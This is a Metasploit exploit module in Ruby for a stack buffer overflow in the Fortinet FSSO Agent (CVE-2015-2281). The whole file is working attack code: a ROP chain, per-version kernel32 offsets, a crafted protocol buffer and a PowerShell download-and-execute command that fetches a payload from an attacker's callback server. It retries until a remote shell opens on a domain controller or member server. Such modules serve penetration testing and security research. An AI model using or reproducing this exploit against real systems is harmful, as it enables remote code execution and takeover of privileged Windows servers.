## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, { 'Name' => 'Fortinet FSSO Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow on the Fortinet FSSO Agent using the Fortgate protocol on TCP port 8000. This agent often runs with administrative privileges on a domain controller or member server. Tested with versions 4.3.0124 through 4.3.0143 running on Windows Server 2008 R2 SP1 and Windows Server 2012 R2. If the version of Windows being targeted is not on the kernel32_versions list, you can calculate the offset manually. Use pedump (Ruby gem) to export the address of WinExec and GetTimeZoneInformation, then take the WinExec address and subtract the address of GetTimeZoneInformation. Finally, perform a binary 1s compliment. This is the "magic value" (delta) that should be used in the ROP chain. The service will automatically restarts if it crashes, so you get as many tries as you need to get a shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'phikshun', # wrote Poc exploit 'Enrique Nissim' # original discovery ], 'References' => [ ['CVE', '2015-2281'], ['URL', 'https://blog.coresecurity.com/2015/03/18/analysis-of-a-remote-code-execution-vulnerability-on-fortinet-single-sign-on/'], ['URL', 'http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow'] ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 29 2015' })) register_options( [ Opt::RPORT(8000), OptString.new('URIPATH', [false, 'Callback URL', '/p']) ], self.class ) register_advanced_options( [ OptString.new('PSH_URL', [false, 'Alternate URL to use for powershell download']), OptString.new('KERNEL32_VER', [false, 'SysWow64/kernel32.dll version']) ], self.class ) end def on_request_uri(cli, request) print_status("Delivering Payload") psh = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded) send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' }) end def send_exploit(url, delta) rop_gadgets = [ # nopsled 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] # esi = get ptr to winexec 0x1003800f, # POP EBP # RETN 0xffffffff, # -1 0x100274a8, # XOR EAX,EAX # RETN 0x10037fe4, # MUL ECX # RETN 0x10 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10033d87, # POP EAX # RETN [SSLEAY32.dll] 0x100390e8, # SSLEAY32.dll - IAT 0x100390e8 : kernel32.GetTimeZoneInformation 0x100297f4, # ADD EDX,DWORD PTR DS:[EAX] # RETN 0x10033d87, # POP EAX # RETN [SSLEAY32.dll] delta, # 2's compliment of (&WinExec - &GetTimeZoneInformation) 0x10012d62, # NEG EAX # RETN 0x100104c3, # LEA EBX,DWORD PTR DS:[EAX] # ADD EAX,C0331001 # RETN 0x10037ffe, # ADD EDX,EBX # POP EBX # RETN 0x10 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] 0x10033d87, # POP EAX # RETN [SSLEAY32.dll] 0x10045020, # random writeable address 0x10012a36, # LEA ESI,DWORD PTR DS:[EDX+EBP+1] # ADC BYTE PTR DS:[EAX+30],BH # RETN # edi = rop nop 0x10020d83, # POP EDI # RETN [SSLEAY32.dll] 0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll] # go! 0x10022e04, # PUSHAD # RETN [SSLEAY32.dll] ].flatten.pack("V*") # winexec payload cmd = "powershell -c IEX(new-object net.webclient).downloadstring('#{url}')#" exploit = "A" * 96 + rop_gadgets + cmd exploit += "B" * (475 - exploit.length) buf = "\x80\x06\x00\x00\x00\x0a\x01\x03\x00\x00\x00\x01" + "\x00\x00\x00\x0a\x10\x03\x00\x00\x00\x20\x00\x00\x00\x16\x11\x01" + "\x76\x35\x2e\x30\x2e\x32\x34\x32\x2d\x30\x32\x34\x32\x00\x00\x00" + [exploit.length + 6].pack('N') + "\x13\x01" + exploit + "\x00\x00\x00\x16\x12\x01\x37\xfa\x30\x27\x21\x19\x16\xfe\xfa\x07\x92\xe2\xfa" + "\x04\xc5\xc8" buf = [buf.length + 4].pack('N') + buf connect sock.put(buf) Rex::ThreadSafe.sleep(1.0) disconnect end def get_callback_url url = (datastore['SSL'] ? 'https://' : 'http://') url += (datastore['PSH_URL'] || datastore['LHOST'] || datastore['SRVHOST']) url += ((datastore['SRVPORT'] == 80 && !datastore['SSL']) || (datastore['SRVPORT'] == 443 && datastore['SSL']) ? '' : ":#{datastore['SRVPORT']}" ) url += datastore['URIPATH'] end def exploit url = get_callback_url if url.include? '0.0.0.0' print_error "URL contains 0.0.0.0 - not a valid callback IP" return end print_status("#{rhost}:#{rport} - Starting up web callback on #{url}") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => datastore['URIPATH'] }}) kernel32_versions = { # manually generated '6.3.9600.17415_en' => 0xfffd6150, '6.3.9600.17056_en' => 0xfffda633, '6.3.9600.17031_en' => 0xfffda674, # auto-generated '6.1.7601.22653_en.a' => 0xfff81491, '6.1.7601.21772_en.a' => 0xfff819d1, '6.1.7601.18409_en.a' => 0xfff81631, '6.1.7601.18229_en.a' => 0xfff819a9, '6.1.7601.18015_en.a' => 0xfff819b1, '6.1.7601.17651_en.a' => 0xfff81a09, '6.1.7601.17514_en.a' => 0xfff81a39, '6.1.7600.16385_en.b' => 0xfff891db, '6.1.7600.16385_en.a' => 0xfffafef3, '6.0.6002.22988_en.a' => 0xfff939ac, '6.0.6002.22942_en.a' => 0xfff939c4, '6.0.6002.22625_en.a' => 0xfff92b64, '6.0.6002.19034_en.a' => 0xfff9bdd4, '6.0.6002.18740_en.a' => 0xfff927e4, '6.0.6002.18704_en.a' => 0xfff9280c, '6.0.6002.18449_en.a' => 0xfff913ac, '6.0.6002.18005_en.a' => 0xfffaaac0, '6.0.6002.18005_en.b' => 0xfff931c4, '6.0.6001.22898_en.a' => 0xfff8f35c, '6.0.6001.22376_en.a' => 0xfffab7b4, '6.0.6001.18631_en.a' => 0xfff93f84, '6.0.6001.18215_en.b' => 0xfff93fc4, '6.0.6001.18215_en.a' => 0xfffac110, '6.0.6001.18000_en.a' => 0xfffac228, '6.0.6001.18000_en.b' => 0xfff9345c, '5.2.3790.5295_en.b' => 0xfffba135, '5.2.3790.5295_en.a' => 0xfffd0505, '5.2.3790.5069_en.a' => 0xfffbb93c, '5.2.3790.4480_en.c' => 0xfffba884, '5.2.3790.4480_en.a' => 0xfffbba2c, '5.2.3790.4062_en.a' => 0xfffbbb64, '5.2.3790.3959_es.a' => 0xfffbbb5c } handler kernel32_versions.each_pair do |version, delta| if !datastore['KERNEL32_VER'] || version.include?(datastore['KERNEL32_VER']) print_status "#{rhost}:#{rport} - Trying kernel32.dll version #{version} with delta 0x#{"%08x" % delta}" send_exploit(url, delta) print_status "Waiting 5 seconds for service to respawn" Rex::ThreadSafe.sleep(5) break if session_created? else print_status "Skipping kernel32.dll version #{version} (not matched)" end end end end